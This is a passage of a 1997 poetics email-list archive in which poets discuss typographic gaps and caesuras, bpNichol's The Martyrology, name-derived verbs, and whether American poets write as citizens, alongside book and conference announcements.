David Israel points to W S Merwin's use of the 'gap,' & that's fine, but it seems to me that the 'space' (the term I've usually used) in the Merwin poem he quotes is fairly standard from line to line. It isn't in many other writers' work (I would again point to various moments in the ten volumes of _The Martyrology_ for example). It's not just a caesura, especially when there are more than one per line, I would think. I also know, at least from my own experience, but also having seen it in others' work, that Mark Weiss is right to ask writers how many 'm' of space are required, because the length of the pause that the space signs changes with the length of the space (& it seems to em that Duncan wrote quite carefully about this in regards to his own work). This is a fascinating thread, although I had never before been bothered by the need for a name for this act. And 'space' or 'gap' seem the most useful still, because the most 'open' in terms of indexicality...

========== Douglas Barbour
the precision of openness Department of English is not a vagueness
University of Alberta it is an accumulation Edmonton Alberta T6G 2E5 cumulous [redacted] FAX:[redacted] bpNichol H: [redacted]

↑ Index

854. **Louis Cabri**
catching up
Sun 30 Mar 1997

Kent, your firsthand info on McCord is very useful--thanks. And no, "Christmas light" does not generous reading make. I take back comet, too. I don't know if they were poet-suicides in San Diego, or what....

Fiona, I had in mind the archival method of the _Cantos_, a method which seems down the line to be given coherence--that it might not otherwise have for a reader--by Howard McCord post-Olson in his programmatic assertion for the _lyric_ as epistemic form. --Doesn't knowledge require an archive of some kind, even for/of the present moment?

A lyrical persona unifies by constructing/reading an

"archive." So I was recognizing McCord's individualism
(not a _communitas_ in him) as being one with such
unifying lyricism, expressed by many New American Poets.
But what about, more significantly, the archival effort itself,
which might not require the lyrical? Does constructing an
"archive" not equal the necessary construction of a reading-
horizon which is itself necessary for the construction of a
community of readers/writers?

These community reading-horizons--"archives"--are
differently constituted for specific audiences.

For Nichol at various points the archive is language
itself--Language: the letters of its alphabet is the world and
his world. (He's not the first to posit Language, of course.)
What specifically Nichol does, at times, however, is legitimize, with the
connective glue of his poetry (puns, homonyms, etc.),
various already written, if you like, semantic chains in the
language. These semantic chains are the social products of
existing property relations. It seems that the semantic chains
whose links he particularizes and polishes are often
stereotypically affirmative of the way the land already lies--
the myth of the ruler. It's as if social meanings were
politically neutral, and a part of the substance of Language--
they only need to be disclosed for truth to be revealed by,
for instance, the pun. I think of Riffaterre's hypograms,
which posits at the core of a cultural corpus meaning as
already meant. So, very different from McCaffery's
paragram--in fact, McCaffery's reading of Nichol reflects
more directly on McCaffery's own work. There is a huge
heave of politics in _The Martyrology_, Douglas, that hasn't
been written about, I think. Instead, its politics is overlooked due to
what might be called a conceptual enthusiasm and need--
professional and otherwise--to find poetical demonstrations
of newfound learning from abroad. A poem may only seem to have a
fundamental indeterminacy if one's initial premise about the
nature of language, and especially poetic language, is, for
example, that pronouns are referential. That premise isn't
sufficently accurate enough, however, to notice
indeterminacy in differeent kinds of poetry--as anything other than a
shared theme. So I think the pronouns in The Mart are actually very
stable, or as stable as most linguistic phenomena--because pronouns are
not referential, or importantly so. But getting back
to the poetry, in Nichol there are always exceptions. "Inchoate" is

captured in a semantically rich pun
in the lines "ink eau / ate world" (from--book taken and
page opened at random--Book 6 of _The Martyrology_).
But there again, the pun must because of what it is fall back
on already-constituted meanings which, back to the bible,
are reincarnated once again as is. It's quite funny to think that
playing on a semantic rift in the letters "bp" is most
exemplary of Nichol's poetic practice.

Peter, I don't hear a narrative of closure and
normative repair a-la-Therafields in his or their sound
poetry. Is that just me?

Much thanks to Aaron Shurin and Rachel Loden and Gwyn McVay for
their Weiners's tips (I will check see again if I've left anyone out!),
and to everyone else who has responded backchannel. Don't forget, it's
April 11th!

Ron Silliman says: "It is only through the signifier
that the cultural limits of the self, the subject, become
visible" (_New Sentence_ 146). Why wasn't Wieners'
Behind The State Capitol considered as much an
influence on Language Writing as the writings of Hannah
Weiner? Charles Shively suggests in a special issue of
Mirage (ed. Kevin Killian) on John Wieners that an aura
of mythologizing around John Wieners, to do with his
schyzophrenia, has prevented closer attention to the wriitng
in his writing--much as Ron pointed out that notions of
clairvoyancy prevented a reading of the "pre thinking
thought" of Hannah Weiner's work.

I thought the panel presentations themselves were great.

Gotta go!

Louis Cabri

↑ Index

855. Douglas Barbour

Re: Further Thoughts on the "Interior Indentation"

Sun 30 Mar 1997

On the other hand, Bob Grumman's 'taxonomy' is lovely in its capacity.

I too thank Pierre for the Celan, but note that from my reading of various translations, Celan used line breaks but not midline ones. Is that a fair assessment?

==========

========== Douglas Barbour
the precision of openness Department of English is not a vagueness

University of Alberta it is an accumulation Edmonton Alberta T6G
2E5 cumulous [redacted] FAX:[redacted] bpNichol H:
[redacted]

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856. George Bowering
Re: name gap (fwd)
Sun 30 Mar 1997

>i believe that brenda hillman
uses astericks

I like that: "astericks". Sort of like tricks done by flowers that seem to be stars. Neat word!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

857. George Bowering
Re: Getting Binoche / don't Sokohl / gotta Boycott
Sun 30 Mar 1997

> *Quoth Mark Weiss --*
>
> *Actually, Bernstein didn't invent this piece of grammar. Think of name-verbs like "Boycott."*
>
> *no, not to suggest he invented the grammatical principle; but he did apply it (as did, we read, Mr. Bowering). My post was by way of pointing to another (i.e., Bernstein's) instance of the principle (and, for that matter, wondering abt. what'all further cases might be floating around the universe). Didn't know about Mr. [?] Boycott, but even this late in the game, always good to get up to speed.*
>
> *best, d.i.*

Hey, don't Bogart that explanation!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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858. **Kenneth Goldsmith**

No. lll 2.7.93-10.20.96 Press Release

Sun 30 Mar 1997

****

THE FIGURES
5 CASTLE HILL AVENUE
GREAT BARRINGTON MASS 01230
[redacted]

****

FOR IMMEDIATE RELEASE

The Figures proudly announces the publication of Kenneth Goldsmith's _No. lll 2.7.93-10.20.96_, the long awaited 606 page book of conceptually uncategorizable brilliance by one of New York's most unpredictable young artists.

Made up of literally thousands of short phrases and hundreds of long phrases, carefully crafted full sentences of great eloquence as well as typographic rant of total gibberish, Goldsmith's book is a trove of found and formally fudged language. Ordered by syllable count and alphabetic rigor, as well as by sound, the material in _No. lll_ invites the reader to browse, scan, read aloud, howl, goof and wonder at the impossible juxtapositions of diction, reference, and attitude.

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Kenneth Goldsmith has been active in the art, literature, and music worlds for several years. He received a B.F.A. from the Rhode Island School of Design in 1984. He has shown his text-based artworks in museums and galleries around the world. In 1993, he completed _73 Poems_ (Permanent Press, CD release Lovely Music, Ltd.), a collaboration with avant-garde vocalist Joan La Barbara. He is a DJ at Freeform Radio 91.1 WFMU in the New York City area and lives in lower Manhattan with his wife, the video artist and painter Cheryl Donegan.

No lll 2.7.93-10.20.96 5 1/2 x 8" 606 pages perfect bound Available 15 March 1997 $17.50 ISBN 0-935724-87-7

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****

THE FIGURES
5 CASTLE HILL AVENUE
GREAT BARRINGTON MASS 01230
[redacted]
[redacted]

****

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859. **David R. Israel**

Re: Easter Sunday afternoons, when the Mall is closed

Sun 30 Mar 1997

> *From: David Bromige <[redacted]>*
>
> *I've been bowering my mind for something pithy to say. db*

I realize the meaning shd. be apparent, but for the dim-witted, care to lexicate?
d.i.

p.s.: re: Bowering's "don't Bogart that explanation!" -- right, I *knew* there was some instance floating around in antique memory; & that was perhaps it (or at least one of 'em).

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860. David R. Israel
Re: "Sandhyabasha"
Sun 30 Mar 1997

Here -- at last or at length -- is a note that speaks most directly to the original question re: Anne Waldman's reference. d.i.

------- Forwarded Message Follows -------
Date: Mon, 31 Mar 1997 02:15:00 BST
From: [redacted] (George Thompson)
To: Members of the list <[redacted]>
Subject: Re: "Sandhyabasha"

I'm pretty sure that the source of Waldman's remarks is Eliade's "Yoga: Immortality and Freedom", since it refers briefly to sandhyA-bhASA [in the Kyoto-Harvard transcription system], and since all of the Beats were reading Eliade [besides the book on yoga, there was a lot of interest in his book on Shamanism].

You might check out the now classic study of S. Das Gupta [upon which Eliade depended greatly], "Obscure Religious Cults" [3rd edit., 1969], who by the way suggests that the alternation between sandhA- [i.e., "intentional" language] and sandhyA- [i.e., "twilight" language; cf. "sandhi"] is not due to scribal error but to intentional double-sense.

There is a lot of more recent literature on this, which specialists might want to recommend, but these two books seem to me to have the best chance of being the ones that Waldman, Kerouac, et al., were familiar with.

Best wishes
George Thompson

↑ Index

861. Christopher Alexander
Re: Getting Binoche / don't Sokohl
Sun 30 Mar 1997

david israel wrrt:
> Mr. Bernstein recited (well, sang) a work the memorable lyric refrain
> whereof was:
>
> >Don't Sokohl me! . . .
> or
> >So don't Sokohl me!

wish I could heare the tune.
I'm thinking that refrain in
the grateful dead's "dire wolf":

"don't murder me,
I beg of you don't murder me..."

chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

Hey!!
Now Available: _constellation voice_ by linda russo

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862. Christopher Alexander
constellation voice
Sun 30 Mar 1997

---

just want to announce briefly that
Linda Russo's chapbook _constellation voice_
is now available for a pittance ($4) from

nominative press collective
160S 1300E, no. 16
Salt Lake City UT 84102

so those of you who are planning to attend the
denver conference next weekend can impress
her by having already read it when you meet.

also, still have some copies of my _Dusky Winders_
available @ $3 apiece. so those of you who are
planning to attend the denver conference next weekend...

chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
constellation voice by linda russo

↑ Index

863. KENT JOHNSON
Re: name gap and heart gap
Sun 30 Mar 1997

> *Date sent: Mon, 31 Mar 1997 05:17:17 -0800*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Rachel Loden <[redacted]>*
> *Subject: Re: name gap and heart gap*
> *To: [redacted]*

Well, there's nothing at all wrong with talking about lacunae! It's just the silence the lacuna seems to mark in this instance that I find fascinating.

Still, for those who might choose this as a "battle" worth adding a voice to, I'll be posting info from FC2 as soon as I get it from Normal.

Heroically,

Kent

> *Oh, please. Years have passed since I've been on this list and we've never *before* talked about caesuras and lacunae, or really any of the bolts and wrenches of poesy. How terrible, how truly decadent that we should do so now. Give me a break. Speaking as somebody with intimate knowledge of what it's like to be on the receiving end of heavy state power, I pick my own battles and I pick them carefully. So I'm sure do others here. I don't feel the need to be harangued from some heroic ramparts.*
>
> *Tell us about what's going on, Kent, but please don't imagine you can stand in judgment of our "silence."*
>
> *Rachel L.*

↑ Index

864. Gwyn McVay
Re: Mind the gap
Sun 30 Mar 1997

The three-em dash is used for intentionally omitted names--you know, "In the summer of 18-- we stayed at the Chateau V------." Don't most typesetters make those internal line-gaps about three ems?

Gwyn, squinting

↑ Index

865. **Pierre Joris**

Re: Further Thoughts on the "Interior Indentation"

Mon 31 Mar 1997

Douglas Barbour wrote:
>
> On the other hand, Bob Grumman's 'taxonomy' is lovely in its capacity.
>
> I too thank Pierre for the Celan, but note that from my reading of various
> translations, Celan used line breaks but not midline ones. Is that a fair
> assessment?
>

Douglas -- you are right, of course, Celan does not -- or only very rarely & in rather hidden ways -- use caesuras directly. The reason I posted that poem was that in it Celan addresses the concept of the caesura via Holderlin who worked on that question in his Pindar translation. The whole of the Celan poem queries the fact that one (the poetic line) can / has to be two, i.e. that the caesura both breaks & makes the "line" -- "I drink wine from two glasses" says the first line & on to the last one with its "doit" -- a translation of "Deut" an old coin (the coin drops, the penny drops -- but always double, deut is tuppence, in the old brit coin(age), or "my two pennies worth." & in the middle there's the "tuning fork" -- has 2 branches to set up the resonance, create the sound. -- Pierre
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through values or sentiments, in _one_ time, in _one_ history, in _one_ language, is the principle of alienation which constitutes man as privileged in so far as he is what he is, [...] imprisoning him in contentment with his own reality and encouraging him to offer it as an example or impose it as a conquering assertion. -- Maurice Blanchot
==========

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866. Thomas Bell

Are poets citizens? Re: RealPoetik - touchy, longish

Mon 31 Mar 1997

Of possible interest, from the RealPoetik list a reply to a reply to
a lament on American poets' shunning the role of "citizen"
>>>>>>>

At 10:20 AM 3/30/97 -0800, Robert Salasin wrote:
>Dear Tom,
>
>Please feel free to post it anywhere, but do please make
>sure RealPoetik gets credit, and provide our email address
>([redacted]) and web site (http://www.wln.com/~salasin/
>rp.html).
>
>Drop me a note if it actually goes up anywhere.
>
>Best,
>Sal Salasin
>RealPoetik

Gwendolyn Albert wrote an essay on the lack of local or national politics in American poetry, even the poetry of progressives, and mentioned the work and appearances of Carolyn Forche, an award winning and quite prominent American progressive writer. Carolyn Forche, a subscriber to RealPoetik, fired off a response, and Ms. Albert has been kind enough to respond to the response.

Gwendolyn Albert, Editrix of JEJUNE: america eats its young, is a native of Oakland, California. She holds a BA in Linguistics from the University of California at Berkeley and was a Fulbright Scholar at the Charles University in Prague, Czechoslovakia for the 1989/90 academic year. This was the year of the "Velvet Revolution," an event which she was fortunate enough to witness firsthand and participate in as a translator for Civic Forum, the interim governmental entity formed by Vaclav Havel and other Charter 77 members. Following her return to Oakland in 1990 she published two chapbooks of poetry with Norton Coker Press in San Francisco, started a local poetry reading series, and began to edit JEJUNE magazine in 1993. Since returning to the Czech Republic in 1994, she has lived in Tabor and Prague. She can be reached at PO Box 85, 110 01 Praha 1, Czech Republic.

An Open Letter to RealPoetik

Dear Sal and RealPoetik readers,

So. Since I sent you my musings on the supposed US poetry renaissance of the '90's, I have received quite a response. Unfortunately, my description of the experiences which led me to the question I was trying to ask -- why do American poets, by and large, tend to shy away from wearing the hat of "citizen" in their work? -- seems to have interfered significantly with that question being heard. However, the essay seems to have struck a chord despite its flaws, so I will try to clarify.

The various responses I received described the essay as "combative," as a "demand" for a "mandate" of "political content" in poetry, and as "accusatory". Unfortunately, the mistaken conclusion people are jumping to seems to be that I am advocating some sort of neo-Stalinist thought policing of America's poets. I am not.

I did not use the very general word "political" in my essay to describe what I sense is missing from the US poetry most widely on offer to the world, (to judge from the sample available to me). I did use the word "civic" -- in the sense of relating to citizenship or civil affairs, "of or relating to the general population," according to my Merriam-Webster. I am noticing that with a few exceptions (such as Adrienne Rich) the poets of this alleged renaissance do not address our common lives as citizens. I find this reflects a lack of that sense in the larger culture. It is an essay about what is missing: plain speech about the underlying premises of our civic or civil culture. Maybe it is the sense of civil culture that has gone missing. I don't know.

What I was taught in America is that politics are supposed to serve the citizenry. In a democracy, it is the responsibility of the citizen to determine the extent to which politics deviate from that aim and to use the means available to try and keep on course. I precisely do not advocate poets turning into lobbyists or propagandists. I'm talking about poets standing as citizens, looking at how the politics which is supposed to serve US ALL functions and then commenting on that function. My impression, which is all I am qualified to discuss, is that this is something very few of them choose to do. Why is that? Does it have to do with the nature of poetry itself? Of the American experience? I don't know.

My great fear is that if poetry ceases to be written from the stance of the citizen, there becomes yet one more area of human endeavour in which the idea of the "civic" or the "civil" -- that general population separate from politics and to which politics should be subservient -- dies a quiet death.

Now I would like to specifically address some of Carolyn Forche's concerns:

I am disappointed that Ms. Forche did not answer my question about her evaluation of US politics more directly in our interview, and that she told the anecdote she told in the way she told it at the Prague Summer Writing Conference. I will transcribe the interview and forward it to RealPoetik so it can speak for

itself. I would only say here that I was not interested in "sound bites" and that it is precisely the "subtlety" of Forche's response that I find objectionable. I understood what was being said (and I am familiar with Chomsky's political writings), but I don't understand where all this pussyfooting around is supposed to get us.

At the time of the interview I considered it an honor to meet Forche. I have read all of her works, and I have attended her readings and talks whenever possible in the hopes of hearing her shed some light on what concerns and troubles me about life in our times. It is perhaps for this reason that, as a member of her audience, I found her behavior disappointing. I find it disappointing that the "after-reading question period is not, in [her] view, the place for sustained and serious discussion...." My essay discusses what I observe American poets saying and not saying when they have opportunities to address the public. It does not constitute a lament for my personal opportunities for "conversation" -- and my living in Prague, Oakland or Outer Mongolia is beside the point. Where I reside has no bearing on what Carolyn Forche said and how she said it.

I live in the Czech Republic because I prefer it to the US. But that's another story -- as is the "expat" "community" Ms. Forche assumes I belong to, and with which I have virtually no contact. I can assure her that the thousands of Americans here in this post-89 feeding frenzy do not constitute a community, but a collection of business owners and clientele. My "community" consists of the writers, musicians, artists and other people with whom I live and correspond, whether they are from the US or Ukraine. Due to the constant daily reminders that I am a foreigner, however fluently I go about my business, I am perhaps more aware of myself as an "American" here than when I lived in America. To see Czechs walking down the streets in "Desert Storm" tshirts is to experience that complex of myth and horrible reality that America has exported to the world -- on the receiving end. However, lately I'm beginning to realize that Americans buy their own advertising most of all. But I digress...

I did not wish to imply that Amnesty International is guilty of anything -- and I was horrified that Forche should feel she had to apologize for the stridency of the volunteers in Berkeley (as if anyone could take responsibility for the stridency in Berkeley -- heaven help us!!) My point was that non-governmental organizations are the institutions that many concerned, um, citizens hope can address these issues of social justice. But common sense alone should tell us they cannot be infallible -- and that they can only do so much. I would like to know more about the "rather unblemished" history of AI -- especially since I recently came across an article in an underground publication here which was critical of Czech Amnesty's response to the Romany situation. I would be very interested to learn from whomever makes the decisions within Amnesty about how AI goes about verifying human rights abuses, how AI decides when to release

information to the public -- in short, how does such an organization deal with its increasingly powerful role in global politics? How does it approach the reality that it is often up against the work of the very most secret, best-funded and highly organized defenders of the "carceral corporate state[s]"?

Unfortunately, Forche's response goes far afield. Once again the question -- why do American poets, by and large, tend to shy away from wearing the hat of "citizen" in their work? -- is being AVOIDED. Forche closes in a near-litigious fury by accusing Salasin of publishing potentially libelous material. Let's leave him out of it: I stand by my feeling of revulsion and the right to describe it, however inadequately I may have done so -- and however unclear the connection of that experience to the others mentioned may have been.

Forche's parting shot is a "subtle" dismantling of my having been inspired to address civic matters by the example of the writers of Central and Eastern Europe. She implies that they would be opposed to what she perceives as my "demands" -- perhaps as they were opposed to the demands of socialist realism? I know an "equals sign" when I see one, subtle or not. I can only think that Forche's sense of the need to defend herself has caused her to willfully misinterpret what I was saying. So I'll say it again in a different way: in my country -- and it is my country, even if I live elsewhere -- Oliver North is free to run for the Senate. In the Czech Republic, Vaclav Havel is President.

And you wonder why I don't want to come "home"?

With great respect,

Gwendolyn Albert

↑ Index

867. George Bowering

Re: detention with a redhead woman

Mon 31 Mar 1997

> *I've been bowering my mind for something pithy to say. db*

Aw come on, you can always think of something worth pith, David.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

868. **Rachel Loden**
Sokal, Pogo, Bernstein, &c.
Mon 31 Mar 1997

Story is spun of a torch song by Chas. B.:

> *Don't Sokohl me! . . .*
> *or*
> *So don't Sokohl me!*
>
> *wish I could heare the tune.*

Oh, me too! But it's Sokal, isn't it? Alan Sokal of the _Social Text_ follies? Seems plausible that the trail leads right back to Pogo:

Oh I may be your cup of tea
But baby don't you Sokal me
Don't stir me boy, or try to spoon
Don't Sokal me
Cause us is throon!

(It's faintly possible that) I hear America singing,

Rachel L.

↑ Index

869. **Michael Boughn**
Re: catching up
Mon 31 Mar 1997

> *A lyrical persona unifies by constructing/reading an "archive." So I was recognizing McCord's individualism (not a _communitas_ in him) as being one with such unifying lyricism, expressed by many New American Poets. But what about, more significantly, the archival effort itself, which might not require the lyrical? Does constructing an "archive" not equal the necessary construction of a reading-horizon which is itself necessary for the construction of a community of readers/writers?*
>
> *These community reading-horizons--"archives"--are differently constituted for specific audiences.*
>
> *For Nichol at various points the archive is language itself--Language: the letters of its alphabet is the world and his world. (He's not the first to posit Language, of course.) What specifically Nichol does, at times, however, is legitimize, with the connective glue of his poetry (puns, homonyms, etc.), various already written, if you like, semantic chains in the language.*

note also how for Nichol the archive opens into intimations of the epic, as in Book 5 of Martyrology, where the street signs in the neighborhood become occasion for an Odyssean journey, both temporal and spatial

Mike
[redacted]

↑ Index

870. henry gould
Re: Are poets citizens? Re: RealPoetik - touchy, longish
Mon 31 Mar 1997

Thanks, Tom Bell, for the letter from Gwendolyn Albert. This question - why American poetry seems to lack or avoid the "civic" - worth talking about. Will quickly draw forth answers from people based on their political rationale or work credentials (community organizer, radical activist, etc.). & can quickly descend into cacaphony. Maybe it has, paradoxically, only a personal meaning or answer, based on the individual writer's understanding of and real commitment to political participation.

The simple answer (to why...) is that American poetry reflects a basic situation of: suburbanization/balkanization/institutionalization/ privatization and other 'zations like that. People (including some poets) are involved with civic life through: 1)work, 2)voluntary service groups, 3)political parties [a distant 3rd, maybe].

But the answer is made more complicated by the present historical situation (political non-involvement; domination by professional pseudo-parties; balkanization) - AND by the whole issue of how poetry & art respond to political reality (if one can even say anything useful about that anyway).

Probably the real answer is that most of us have no concept of how to make democracy a reality in our own lives. Political action is disconnected from dormant ideals or visions of life. This is the true gap today. Has anyone seen Pasolini's film "Gospel According to St.Matthew"? Now there's a work of art about a poet-organizer if there ever was one. And in a sense, there has always been a dormant 3rd party of the kingdom of heaven (from the lunatic fringe to the Catholic Church...) - Henry Gould

↑ Index

871. **Rachel Loden**
Re: name gap and heart gap
Mon 31 Mar 1997

> *gabber urgently about caesuras and lacunae*

Oh, please. Years have passed since I've been on this list and we've never *before* talked about caesuras and lacunae, or really any of the bolts and wrenches of poesy. How terrible, how truly decadent that we should do so now. Give me a break. Speaking as somebody with intimate knowledge of what it's like to be on the receiving end of heavy state power, I pick my own battles and I pick them carefully. So I'm sure do others here. I don't feel the need to be harangued from some heroic ramparts.

Tell us about what's going on, Kent, but please don't imagine you can stand in judgment of our "silence."

Rachel L.

↑ Index

872. **henry gould**
Re: name gap and heart gap
Mon 31 Mar 1997

On Mon, 31 Mar 1997 05:17:17 -0800 Rachel Loden said:
Give me a break. Speaking as somebody with intimate
>knowledge of what it's like to be on the receiving end of heavy state
>power, I pick my own battles and I pick them carefully. So I'm sure do
>others here. I don't feel the need to be harangued from some heroic
>ramparts.
>

This is also a relevant response to the "civic" thread from Tom Bell... - Henry G.

↑ Index

873. **Mark Prejsnar**
Re: name gap (fwd)
Mon 31 Mar 1997

One of the problems with finding a term, for the visual embodiment of a caesura, and similar typo-graphic instances, has to do with the involved nature of the medium and its techniques. I mean, placement of verse across physical space is both painterly and a vibrant form of mucial notation in U.S. originary attempts (from Whitman on)...Lisa's mention of a parallel ambiguity in the

apprehension of painterly space is suggestive. And of course someone's already mentioned Duncan's intensity about how to understand lineation as a musical notation...As someone with a background of intensive musical training and performance experience, I've always believed the poem's surface had a strong element of performatory adumbration. I'm most comfortable with not dictating interpretive timing quite so rigorously, as Duncan; but the principle makes sense to me. Still, the one area of prosody lacking an intricate terminology, is the area involving visual placement as an involvement with sound and movement thru space. (--which may be a good thing..But there is still a lot of interesting theory to be done on this dimension of post-Cantos verse)

Mark P.
Atlanta

↑ Index

874. **Mark Prejsnar**
Re: name gap (fwd)
Mon 31 Mar 1997

The poetix of car model names, what could be more amerikan?? The reason Lacuna sounds like one, is the long-established pattern that Latin (and sometimes hispanoid)-sounding words, with those distinctive vowel endings, are considered classy in the right kind of way by U.S. auto marketers...Which is kind of interesting given that Hispanic and other Latin-derived cultures are not exactly looked on as classy and positive by most of contemporary U.S. captialist culture!!

Favorite car names for poets: the Stanza, and the Prelude.

Mark P.

On Fri, 28 Mar 1997, Hugh Steinberg wrote:

> *Caesura strikes me as more of a sonic than visual term. I like lacuna (sounds like a new car, the Ford Lacuna) although it seems a bit fancy. I tend to use the term "white space" when describing those blanks.*
>
> *Hugh Steinberg*

↑ Index

875. **David Bromige**
explication du texte, revised
Mon 31 Mar 1997

Revised definition of "bowering":

(1) Whether by Mr.Bowering or others, the scouring in a bowering-like manner of the mind, in the hope that something like Bowering at his best (pithy, amusing, unforgettable), will form in words;

(2) The attempt, failed, to do this.

db.

↑ Index

876. **dbkk**

Killian/Spicer and an appeal

Mon 31 Mar 1997

Dear Simon Schuchat, it's Kevin Killian, thanks for your remarks about my talk printed in the Church Newsletter. >I just want to say that Kevin Killian's piece "Faggot Vomit: Jack Spicer
>vs. 'the Maidens'" in the most recent issue of the Poetry Project
>newsletter is great.
>
>When will the Spicer bio be available?

I'm supposed to finish it by June 15th then send it in to Wesleyan. Lew Ellingham and I are racing against time as usual. The death in 1996 of the Canadian modernist Dorothy Livesay underlines this vividly (Livesay was very helpful to me and Lew at the very end of her extraordinary life.) Now, as so often in the past, I need the help of poetics list members. I'm writing now about the San Francisco events of November and December 1958 when Spicer, along with other San Francisco and Berkeley intellectuals and bohemians, joined the fight against the administration of San Francisco State to protest its refusal to let Langston Hughes read at the SF State Poetry Center, where he had been invited by its founder (Ruth Witt-Diamant), because of his "Communist" past. I'm sure I can't be the only one to have covered this episode, which has so many resonances (Cold War politics, black/white relations in avant-garde poetry, homosexuality and the left, San Francisco as nexus for radical/conservative politics, etc., etc.) but I've looked in all the likely places and can't find much coverage of it at all. Even the Hughes biographies I've looked at don't mention his visit to San Francisco. [To cut to the chase, Hughes was not allowed to read on campus by Dumke, president of State, but eventually wound up reading on a houseboat--oh the irony!--provided by sympathetic admirers and anti-anti-Communists] Can anyone suggest any material on this outside of contemporary newspaper coverage? If so thanks very much.

I'm always thanking you all and you always come through.

Kevin K.

↑ Index

877. **maz881**
re; name gap
Mon 31 Mar 1997

---

nico, could you make that re : n a little longer so we can scroll it up & down more. i like the animation. like in Rocky 1, where he & pauli are in the meat locker and he starts hitting the carcass saying there's gaps. bill

Date: Sat, 29 Mar 1997 23:17:41 -0800
From: nico vassilakis <[redacted]>
Subject: Re: name gap

r e:namegapageman:e r
re :namegapageman: er
re: namegapageman :er
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↑ Index

878. **Mark Prejsnar**
Re: Getting Binoche / don't Sokohl
Mon 31 Mar 1997

---

re Mark W's point about boycott...

The most interesting noun yanked into being a verb, for me is: Barbados. This was the practice of sending "criminals" (in fact a large number political prisoners) to what were then rather harsh living conditions, in permenent exile on Barbados. Most infamous for this was that Lenin avant la lettre, Oliver Cromwell, who barbadosed thousands of rebelling Irish and militants of the factions to his left in the English revolution (levellers, diggers etc.) I love this word for its demonstration of the encoding of historical violence into language, the violative way the contingent facts of cultural history show us poets how to do poetry. (I wrote a fairly long poem which attempts to consist entirely of verbs, though there's lots of pitching on the black--a poem I still rather like; and of course barbados gets slipped in).

Mark P.

↑ Index

879. **Rachel Loden**
Binoched, bowered and bewildered
Mon 31 Mar 1997

Interesting, Mark P, about barbadosing. And I suppose we should not forget that it is possible, in this world, to be "Borked," however deservedly.

Rachel

↑ Index

880. **Stephen Vincent**
Re: explication du texte, revised
Mon 31 Mar 1997

Dear David,

Neither a Bowerer nor a Pithbender
once my Muse said unto me...

O well, I'm sure you need
no such 'pure' advice!

Cheers,
Stephen Vincent

↑ Index

881. **Henry Gould**
Re: explication du texte, revised
Mon 31 Mar 1997

---

the bower-bird is an exotic species habitationed somewhere in the South Pacific. The male builds an enormous cathedral-like "bower" out of trash, sea-drift, etc. & then does a little dance in front of it (long before this method was "invented" by modernists, collagists, etc.) in order to attract mates. The female often turns him down, & the immense bower of babel is abandoned. Some of us could learn a lesson in composition here. - (this is not Eric Blarnes)

TAR AIRS A RAT OR 2

this is a ravine
that is a navire
drydocked (severe
reverse) in Erivan

↑ Index

882. **Mark Prejsnar**
Re: Binoched, bowered and bewildered
Mon 31 Mar 1997

I forgot to add at the end of that post... the credit for info. on barbados as a verb, is to my favorite historian, Christopher Hill; an English socialist who has published about 12 or 14 brilliant books on the English revolution and civil war. His work is groundbreaking about the intersections of utopian consciousness and revolutionary fervor in that period, among the radical protestant sectaries, and others; and in general about the structure of social revolution in history. (Right-wing historians publish much these days about having "proven" him wrong, re his marxian interpretation of the Egnlish revolution as having to do with class and economics in addition to ideology and consciousness; they are dead dead wrong but that's another issue..) EP Thompson's great last book, Witness Against the Beast, about Blake, is a kind of homage to Hill's influence. All the above strongly recommended to anyone interested in politics, who doesn't know it..

On Mon, 31 Mar 1997, Rachel Loden wrote:

> *Interesting, Mark P, about barbadosing. And I suppose we should not forget that it is possible, in this world, to be "Borked," however deservedly.*
>
> *Rachel*

↑ Index

883. **amato**
denver conference...
Mon 31 Mar 1997

---

just to say that i'll be on my way in a few days to the upcoming denver conference on "the marriage of writers and critics," and i hope to see/meet some of you there...

best,

joe

↑ Index

884. **Joseph Zitt**
Re: Mind the gap
Mon 31 Mar 1997

Gwyn McVay wrote:
>
> The three-em dash is used for intentionally omitted names--you know, "In
> the summer of 18-- we stayed at the Chateau V------." Don't most
> typesetters make those internal line-gaps about three ems?
>
> Gwyn, squinting

Well, I mostly use the 3M dash when I'm diving for a Post-it note to write down poetic inspirations :-)

Joe, ducking

↑ Index

885. **William Burmeister Prod**
Re: Further Thoughts on the "Interior Indentation"
Mon 31 Mar 1997

> *Equally fascinating to me is what goes on between the period and the capital. And things like the space between being asleep and being*

> *awake, between day and twilight, twilight and night, night and morning, between liquid and gas, solid and liquid and so on....*

Equally interesting too is how our minds process whole strings of sentences, or paragraphs, and so on, with these discontinuities between them. Is this a process of integration with differentiability defined term-by-term? The whole being a piecewise linear approximation of something. No doubt something incomplete. There is an infinity of possiblities in each continuum between sentences, gaps, etc. The lines/sentences themselves being nothing more than truncated series of finite number of terms. Serial poems born in the gaps between lines/sentences, so that rather than a seriality of poems end-to-end (cascades), there exists any number of multiplicatively propagating trees of possibilities.

Bill B.

↑ Index

886. **jdhollo**

BP's Question / gaps caesurae lacunae

Mon 31 Mar 1997

As a veteran user of the device, I vote for Robert Duncan's "articulated silence" quoted in Dan Featherston's post of 28 March:

"duncan's preface to _ground work: before the war_ figures caesurae as articulated silences, which is arguably a more varied measure of the _time_ of the poem than standard grammatical indicators (comma, period, etc.) provide: not the metronome's uniformity, but the body's 'flexible durations'."

"Non-metrical caesurae" _could_ be another (but even clumsier) term. Lacuna and gap do sound too negative, indentation too aggressively mechanical.

"Articulated silence(s)" may also cover the distinction Christopher Middleton makes in his _Ideas about Voice in Poetry_ (in _Pursuit of the Kingfisher, Manchester: Carcanet, 1983):

